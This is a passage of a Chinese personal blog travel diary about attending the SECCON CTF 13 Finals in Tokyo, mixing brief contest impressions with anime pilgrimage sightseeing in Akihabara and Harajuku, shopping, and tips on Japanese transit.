回来的时候 Google Maps 说新宿线比浅草线快，并且说出站口在 1 车厢，而进站的时候在 10 车厢，走了半天走过去，结果下车一看，旁边没有出站口，只有一个 JR 换乘口，而出站口在 5 车厢，并且要地下走很远，怀疑是之前有一个更快的走到出站口的路线而现在没了，最后赶得非常急（

CTF

开场之后，用了一会儿搞明白这个 KotH 是在干什么，原来只是按排名每 5min 记一次分，而不是攻防渗透什么的。phase 1 是一个矩阵快速幂优化递推，怀念，但是事后得知这个递推有 $O(1)$ 的公式（不需要算幂），草，学 OI 学的（

Web 有三个 HTML sanitize，我研究过 HTML sanitize，但三个题都不会（

KotH phase 3 一开始想到了做法但以为不对就没写，最后很晚才开始写，最后 20min 才写完，没拿到几分，血亏，本来可以 rk3 的（

结束后被老师带去吃了回转寿司，甚至先坐地铁到了浅草寺，我非常疑惑，今天不是比赛日吗，不应该在旁边随便吃点吗（；而且，有了今天早上和今天晚上，suica 除去京急线的使用量已经快达到三日通票价了，之前还算的肯定到不了（

晚上本来想早点睡，day 2 大力 KotH，结果一直在看 Web（

Day 2

CTF

有了昨天的经验，今天 KotH 比较顺利，赶回了很多分；出新题的间隙看 Web，但到最后也没搞出来，而且我非常不明白，说好的 BOM 优先于 Content-Type 呢（。最后成功 rk3，离 rk2 就差 52 分，只要 day 1 phase 3 早半小时开始写就有了，唉；只不过我硬是把 CTF 打成了 HPC，还能 rk3，也不亏了（

结束后有个 after party 可以吃饭，但是看上去要搞很久的样子，我就先溜了（

秋叶原（μ's）

因为周一下雨，就把圣地巡礼提前到今天了。本来想周一去逛逛秋叶原顺便简单巡礼一下 μ's，也拆成了今天先巡礼明天再逛，反正秋叶原离酒店就 1km。

UDX（正好没拍到广告（

从 UDX 下来的时候看到帽的广告：

然后，在去神田明神的路上，经过了一家店（店名是「X」？），虽然应该明天再逛的，但还是进去了（

看到了非常厉害的帽，为什么呢（

也没什么想买的，但又觉得都进来了总得买点什么，可是一方面价格有点劝退，另一方面，我在趴趴那边翻了一下，怎么没有艾玛（？，于是没买（

μ's 练习的明神男坂：

神田明神：

绘马的 LL 浓度不如别人多年前巡礼时，但还是有不少，很多都是水 final：

给个特写（

昌平桥，μ's 动画的一个圣地，有点眼熟但毕竟对 μ's 的印象不太深了，主要是这边顺路（

竹村，果皇家的原型：

将棋会馆

然后坐 JR 去千駄谷将棋会馆。

出站后没走两步就看见一个将棋会馆，应该更远的，我知道的那个将棋会馆也不长这样：

再往前走就到了鸠森八幡神社：

绘马竟然有星，甚至还是冬玛香（

出了神社旁边就是将棋会馆，但是转了一会儿没找到门在哪，仔细一看才发现，原来这个将棋会馆在施工，之前出千駄谷站看到的那个应该是现在使用的会馆，可惜。

从将棋会馆沿观音坂到明治公园：

明治公园不知道是不是变样了，没找到作品里的景：

原宿（Liella!）

到这里就离原宿很近了，绘马上都有星，事已至此，只能巡礼一下星了（，只不过也只是一些比较经典的加上顺路的，比较细的地方就没去了。

部分参考资料：

从明治公园直接往南正好到秋叶神社，在路边，很小的神社。~~小百和香香报了同一家幼儿园.jpg（~~

沿表参道往西就到了可可家：

再走一段就是可香天桥（神宫前步道桥）：

我大概规划了一下，后面的路程绕个圈应该比折返好，于是下天桥直走，就到了稳田神社：

这边的绘马不知道为什么都是斜着的..

给个特写（

然后去代代木公园。到了之后发现林荫道这边人非常多（照片这里不算多，特意避开了一下人群），不知道这是日常还是有什么活动。

本来还担心舞台这边也会人多，结果完全没人，可能是这边不方便坐（？，于是外放 Tiny Stars，还学苍天用台上视角拍了一张（

然后是未来如风的封面，五轮桥：

最后是第一集香音的上学路，从竹下通沿小路走到表参道：

太好听了吧！

结果最后差点就要坐末班车了（，回来后摸了一会儿再整理游记，又不能好好睡了，这几天都睡好少。虽然只走了 10km（绕了一些路），但中间经常停下来拍照、确认方向、等红灯之类的，只有坐 JR 的时候休息了一下，一共花了接近 5h，比拉练还久，还没有踩屎鞋垫，周五又刚走过 10km，脚要死掉了（

总的来说，~~不如再去一次月岛吧~~，本来主要也是去将棋会馆的，结果还施工了，~~原宿还不如看苍天的视频，也就最新的绘马值得看了（~~

Day 3

秋叶原

APA 早上 10 点就得退房，然后直接去了秋叶原，看 animate 11 点开门而 gamers 10 点开门，先去 gamers 看了一眼，结果是 10 点只开一楼，11 点才开其他地方。一楼还在放甲子园 live，但也没啥想买的。到了 11 点上去看了之后，发现 LL 全在一楼，上面更没啥能买的，虽然看到了 Ave Mujica の世界（

中午紧急找了一下厕所，先是去 JR 秋叶原站没找到，不知道是不是要其他出口或者进站后才行，搜了一个公厕结果发现它所在的公园关门了，最后去的 Tokyo Metro 秋叶原站。

之后去了 animate，进门先看到了艾玛的月度单曲，就拿了，然后全看了一遍，发现也只有五楼有能买的。小红书上说得不是很清楚，就找店员确认了一下，是不含税满 5000 可以免税，所有楼层一起在 B1 结，但 2 号馆不能一起付。凑了半天发现还是凑不到免税，想放弃了。到了 B1 才意识到，我在其他地方看了半天，但把 B1 当成只有个收银台了（，实际上 B1 是一堆 CD，于是买了一盘 Tiny Stars（~~感觉星已经没有别的我想要的了~~），然后只差 450 了，就又上楼补了个侑（这套没有璃奈）。最后买了两盘 CD，一对毫无疑问钥匙扣，一个帽贴纸和一套芦灰明信片。animate 似乎还不支持免税二维码，让我拿了护照。

拆封后发现，虽然分别是 2 月限定特典和初回限定特典，但都是内封了的（应该是有这个贴纸就代表有？）。2 月限定到了 3.3 还有也很合理，但 Tiny Stars 已经发售三年半了啊，怎么还是初回（P.S. 后来发现其实说的是期间限定特典的 2 月日历，并不是 2 月限定特典（

中午吃的吉野家，之前听说日本的菜单和国内不一样，确实，但怎么是没有汉堡肉（

返程

本来还在想要不要最后去一下台场，但发现到台场的票价和台场到机场的票价都比直接去机场贵，实在没必要。而且虹咲的圣地看起来就像是网红景点打卡，也没有什么想去的（

到机场后在便利店买了个价格正好的面包把 suica 余额花完，最后地铁除去京急线应该是差不多花了三日通票的价，只不过如果买了通票去秋叶原应该也不用走路了（。安检排了很长的队，过安检的时候还被要求把水倒掉把鞋脱掉，但电脑不需要单独拿出来，最后安检就花了 30min，只不过不用坐小火车。过了安检后可以再去接水，这次在那个神秘外盖饮水机碰到一个路人把杯面放进去盖上外盖把杯面关在里面然后不知所措（

落地后想办空轨联运，才知道这个要起飞前办，为啥呢（

尾声

这几天和店员交流的时候，感觉是，日语听半懂，英语听不清，脑子里第一反应是想日语怎么说，但是不会说，反而让英语模块也变得混乱，用 VoiceTra 又手忙脚乱又说不出普通话（；反而是比划一下最靠谱，仿佛是我完全不会日语和英语，但或许如果我真的完全不会日语就能会英语了（。现金也备多了，其实也就买 Suica 和一部分饭店需要，很多地方都支持微信支付宝。移动的漫游套餐一直查不到用量，根据手机统计的，应该就用了 1G 左右，但查不到还是无法安心。轨道交通和国内很不一样，但是也挺容易适应的，就是一条线可能中途改名，换一条线可能需要下车换乘可能不需要（看 Google Maps 有没有写“无需换乘”和步行几分钟），同一个站台可能来不同速度的车，比起看驶往哪个方向不如直接看站台号，同一个站不同线可能有不互通的入口；来之前在小红书看到了，但还是要坐两次才明白；回来坐国内地铁的时候反而有点不习惯了（

有机会的话，下次还来月岛，最好能去鸭川，~~我是精神三月町の子，别的地方是啥，可以待在酒店吗（并不~~

ouuan's blog

GeekGame 2025 出题人题解：统一身份认证、勒索病毒

统一身份认证

Flag 1

Python

GraphQL

GraphQL

Flag 2

GraphQL

GraphQL

Python

Python

plain text

彩蛋

GraphQL

JSON

勒索病毒

Flag 1

Python

Flag 2

Python

Python

Flag 3

Python

Python

事故

梗指南

DEF CON CTF Quals 2025 memorybank Write-Up: Investigating V8 Garbage Collector

修复 XeTeX 更新导致编译错误

plain text

tl;dr

问 GPT

问题分析

plain text

plain text

plain text

TPCTF 2025 Official Write-Up (6 challenges)

baby layout (81 solves)

HTML

HTML

HTML

HTML

safe layout (50 solves)

safe layout revenge (29 solves)

HTML

HTML

Are you incognito? (3 solves)

HTML

encrypted chat (15 solves)

Python

HTML

verified toolbox (1 solve)

Shell

Python

Java

Footnotes

SECCON CTF 13 Finals 游记

Day 0

出发

月岛（夜）

Day 1

月岛（昼）

CTF

Day 2

CTF

秋叶原（μ's）

将棋会馆

原宿（Liella!）

Day 3

秋叶原

返程

尾声